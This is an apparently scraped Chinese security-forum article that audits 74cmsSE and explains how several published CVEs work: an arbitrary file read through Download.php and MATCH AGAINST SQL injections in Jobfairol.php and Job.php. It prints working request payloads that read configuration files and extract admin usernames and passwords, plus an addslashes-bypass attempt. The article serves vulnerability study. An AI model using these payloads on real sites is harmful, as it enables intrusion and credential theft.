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 truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-variable{color:green}.hljs-keyword{color:#00f}.hljs-string,.hljs-type{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h2,.markdown-body h3,.markdown-body h4{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body h4{font-weight:600;font-size:1em}.markdown-body ul{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body p,.markdown-body ul,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body li+li{margin-top:.25em}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">代码审计&漏洞分析:74cmsSE 系列</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
本文对 74cmsSE 进行代码审计,并对近期的相关漏洞进行调试分析,学习一波。
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>一、前言
|
||||
----
|
||||
|
||||
本文对 74cmsSE 进行代码审计,并对近期的相关漏洞进行调试分析,学习一波。
|
||||
|
||||
二、相关漏洞搜集
|
||||
--------
|
||||
|
||||
<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=74cmsse>
|
||||

|
||||
|
||||
CNVD
|
||||

|
||||
|
||||
三、环境介绍
|
||||
------
|
||||
|
||||
本地审计使用 MAMP 集成搭建
|
||||
|
||||
```txt
|
||||
Apache 2.4.54
|
||||
Mysql 5.7.39
|
||||
PHP 7.3.33
|
||||
```
|
||||
|
||||
四、漏洞分析
|
||||
------
|
||||
|
||||
### v3.4.1 任意文件读取
|
||||
|
||||
漏洞信息:
|
||||
[CVE - CVE-2022-26271 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26271)
|
||||
[74cmsSEv3.4.1 Arbitrary File Read Vulnerability · Issue #1 · N1ce759/74cmsSE-Arbitrary-File-Reading (github.com)](https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1)
|
||||
漏洞位于 Download.php 文件中的 fread() 和 fopen() 函数中,对输入的内容 $url 没有做到完全的检测过滤,进而导致读取任意文件。
|
||||
|
||||
Payload:
|
||||
|
||||
```rb
|
||||
/index.php/index/download/index?name=index.php&amp;url=../../application/database.php
|
||||
```
|
||||
|
||||

|
||||
|
||||
代码分析:
|
||||
定位到核心函数 index() 处,$url 和 $ourput\_filename 参数均由封装的 get 方法获取,跟进到 request()-&gt;get() 里。
|
||||

|
||||
|
||||
从 `$_GET` 变量中获取到请求的数据并存储在自身的属性 $get 中,再跟进到 input() 方法中。
|
||||

|
||||
|
||||
input() 主要对传入的格式进行 trim() 操作,没有其他过滤。
|
||||

|
||||
|
||||
因此这里 fopen() 中的 $url 可控且没有安全过滤,简单构造即可读取任意文件。
|
||||

|
||||
|
||||
### v3.5.1 SQL 注入|Jobfairol.php
|
||||
|
||||
漏洞信息:
|
||||
[CNVD-2022-61443 - 国家信息安全漏洞共享平台 (cnvd.org.cn)](https://www.cnvd.org.cn/flaw/show/CNVD-2022-61443)
|
||||
[CVE - CVE-2022-33095 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33095)
|
||||
|
||||
文件路径:v1\_0/controller/home/Jobfairol.php,keyword 参数
|
||||
|
||||
Payload:
|
||||
|
||||
```rb
|
||||
/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=1&amp;keyword=' (select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 代码分析
|
||||
|
||||
定位到关键函数 resumelist() ,接收四个参数,其中 $keyword 接收字符串格式,这里输入 sec 作为测试字符进行跟踪。
|
||||

|
||||
|
||||
一路跟进到 PDO 处理模块中,最终整个构造好的 SQL 语句如下:
|
||||
|
||||
```sql
|
||||
SELECT `b`.`id` FROM `qs_jobfair_online_participate` `a` RIGHT JOIN `qs_resume_search_key` `b` ON `a`.`uid`=`b`.`uid` WHERE `a`.`jobfair_id` = 1 AND `a`.`utype` = 2 AND `a`.`audit` = 1 AND ( MATCH (`intention_jobs`) AGAINST ('sec' IN BOOLEAN MODE) ) ORDER BY `b`.`refreshtime` DESC LIMIT 0,10
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### MATCH AGAINST 结构
|
||||
|
||||
在上面的 SQL 语句中可以注意到 MATCH AGAINST 结构。我们简化这个 SQL 语句进行分析。
|
||||
|
||||
```sql
|
||||
SELECT * FROM qs_resume_search_key WHERE ( MATCH (intention_jobs) AGAINST ('sec' IN BOOLEAN MODE))
|
||||
```
|
||||
|
||||
查询[相关资料](https://mariadb.com/kb/en/match-against/) 后得知 `MATCH AGAINST` 是一种用于在全文索引上执行全文检索的结构,格式如下:
|
||||
|
||||
```rb
|
||||
MATCH (col1,col2,...) AGAINST (expr [search_modifier])
|
||||
```
|
||||
|
||||
- col 表示要搜索的列
|
||||
- expr 表示检索的关键字
|
||||
- modifier 表示搜索的模式(可选)
|
||||
其中 intention\_jobs 就是搜索的列,sec 就是待检索的关键字,BOOLEAN 模式表示支持布尔操作符和修饰符。
|
||||
|
||||
来到数据库中测试 `expr` 位置是否可插入查询语句,使用报错查询可以成功执行。那么下一步就可以构造可利用的 SQL 语句了。
|
||||

|
||||
|
||||
#### 检查过滤代码
|
||||
|
||||
跟进查看,这里只对输入做了 trim 操作。
|
||||

|
||||
经过一系列闭合操作,就可以构造出上述的 Payload 了。
|
||||
|
||||
```rb
|
||||
/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=1&amp;keyword=' (select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
|
||||
```
|
||||
|
||||
#### 深入思考
|
||||
|
||||
这里有个疑问,使用了PDO还会有注入?
|
||||
跟进 SQL 执行的过程,发现 $sql 参数在预处理前已完成拼接,没有进行绑定的操作,后续直接 exec 了,估计是这个原因(如果不是的话,希望大佬点拨下)
|
||||

|
||||
|
||||
#### 后续的修复代码
|
||||
|
||||
查看最新的源码(版本3.28.0),过滤使用了 addslashes 操作。
|
||||

|
||||
|
||||
#### 深入思考\*2
|
||||
|
||||
绕过 addslashes,一般配合代码中其他的操作,比如代码后还有urldecode、base64\_decode等。或者是在GBK编码下使用宽字节注入。
|
||||
|
||||
修改数据库编码后,跟进代码发现,在使用htmlspecialchars函数进行过滤操作时,我传入的值直接没了,挺神奇的,暂时找不到原因,不然在GBK环境下可以实现宽字节注入。
|
||||
|
||||
```rb
|
||||
/index.php/v1_0/home/jobfairol/resumelist?jobfair_id=1&amp;keyword='%df'%2b(select/**/updatexml(0,concat(0xa,(select/**/concat(username,password)from/**/qs_admin)),0))))%23
|
||||
```
|
||||
|
||||

|
||||
|
||||
### v3.5.1 SQL 注入|Job.php
|
||||
|
||||
漏洞信息:
|
||||
[CVE - CVE-2022-33092 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33092)
|
||||
|
||||
文件路径:v1\_0/controller/home/Job.php,keyword 参数
|
||||
|
||||
Payload:
|
||||
|
||||
```rb
|
||||
/index.php/v1_0/home/job/index?keyword='+(select+updatexml(0,concat(0x1,(select/**/user())),0))+'
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 代码分析
|
||||
|
||||
基于前一个 sql 注入的思路,找到可控点,在 index 函数重点关注如下四个:
|
||||
|
||||
```php
|
||||
$search_type = input('get.search_type/s', '', 'trim');
|
||||
$keyword = input('get.keyword/s', '', 'trim');
|
||||
$tag = input('get.tag/s', '', 'trim');
|
||||
$sort = input('get.sort/s', '', 'trim');
|
||||
```
|
||||
|
||||

|
||||
|
||||
这里先分析 $keyword 参数,传入值并跟踪,得到如下sql查询语句:
|
||||
|
||||
```sql
|
||||
SELECT a.id,company_id,refreshtime,stick,MATCH (`company_nature`) AGAINST ('sec' IN NATURAL LANGUAGE MODE) AS score1,MATCH (`jobname`) AGAINST ('sec' IN NATURAL LANGUAGE MODE) AS score2,MATCH (`companyname`) AGAINST ('sec' IN NATURAL LANGUAGE MODE) AS score3 FROM `qs_job_search_key` `a` WHERE ( MATCH (`jobname`,`companyname`,`company_nature`) AGAINST ('sec' IN NATURAL LANGUAGE MODE) ) ORDER BY `score1` DESC,`score2` DESC,`score3` DESC,`refreshtime` DESC LIMIT 0,10
|
||||
```
|
||||
|
||||
可以发现也是 MATCH AGAINST 结构,$keyword 的触发点同上一个 sql 漏洞。
|
||||
|
||||
根据语句,构造出简单 Payload 并进行跟踪。由于有四个 $keyword 输入点,这里的 sleep(2) 将会睡眠 8 秒。
|
||||
|
||||
```sql
|
||||
'+(select+sleep(2))+'
|
||||
|
||||
SELECT a.id,company_id,refreshtime,stick,MATCH (`company_nature`) AGAINST ('+' +(select +sleep(2)) +'' IN BOOLEAN MODE) ......
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 其他参数
|
||||
|
||||
